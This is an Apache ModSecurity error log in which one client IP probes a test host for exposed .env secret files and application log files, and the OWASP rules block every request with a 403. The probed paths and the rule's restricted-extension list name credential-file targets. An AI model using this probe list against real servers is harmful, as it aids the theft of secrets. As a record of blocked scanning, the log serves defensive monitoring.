[Wed Feb 25 06:05:16.629064 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5yAAAAAM&quot;]
[Wed Feb 25 06:05:16.629260 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5yAAAAAM&quot;]
[Wed Feb 25 06:05:16.675186 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5yQAAAAM&quot;]
[Wed Feb 25 06:05:16.675749 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5yQAAAAM&quot;]
[Wed Feb 25 06:05:16.675937 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5yQAAAAM&quot;]
[Wed Feb 25 06:05:16.719929 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /install/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aZ6DDOTWwZsZM3_RktVDbQAAAAU&quot;]
[Wed Feb 25 06:05:16.720177 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aZ6DDOTWwZsZM3_RktVDbQAAAAU&quot;]
[Wed Feb 25 06:05:16.720358 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aZ6DDOTWwZsZM3_RktVDbQAAAAU&quot;]
[Wed Feb 25 06:05:16.731953 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /logging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5ygAAAAM&quot;]
[Wed Feb 25 06:05:16.732199 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5ygAAAAM&quot;]
[Wed Feb 25 06:05:16.732363 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5ygAAAAM&quot;]
[Wed Feb 25 06:05:16.765497 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /instantcv/server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aZ6DDOTWwZsZM3_RktVDbgAAAAU&quot;]
[Wed Feb 25 06:05:16.765759 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aZ6DDOTWwZsZM3_RktVDbgAAAAU&quot;]
[Wed Feb 25 06:05:16.765935 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aZ6DDOTWwZsZM3_RktVDbgAAAAU&quot;]
[Wed Feb 25 06:05:16.901412 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5zAAAAAM&quot;]
[Wed Feb 25 06:05:16.901707 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5zAAAAAM&quot;]
[Wed Feb 25 06:05:16.902464 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5zAAAAAM&quot;]
[Wed Feb 25 06:05:17.031408 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /logs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm5zgAAAAM&quot;]
[Wed Feb 25 06:05:17.031672 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm5zgAAAAM&quot;]
[Wed Feb 25 06:05:17.031848 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm5zgAAAAM&quot;]
[Wed Feb 25 06:05:17.078603 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm5zwAAAAM&quot;]
[Wed Feb 25 06:05:17.079136 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm5zwAAAAM&quot;]
[Wed Feb 25 06:05:17.079306 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm5zwAAAAM&quot;]
[Wed Feb 25 06:05:17.125715 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm50AAAAAM&quot;]
[Wed Feb 25 06:05:17.126230 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm50AAAAAM&quot;]
[Wed Feb 25 06:05:17.126437 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm50AAAAAM&quot;]
[Wed Feb 25 06:05:17.138159 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /items/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19jQAAAAE&quot;]
[Wed Feb 25 06:05:17.138402 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19jQAAAAE&quot;]
[Wed Feb 25 06:05:17.138563 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19jQAAAAE&quot;]
[Wed Feb 25 06:05:17.149049 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm50QAAAAM&quot;]
[Wed Feb 25 06:05:17.149505 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm50QAAAAM&quot;]
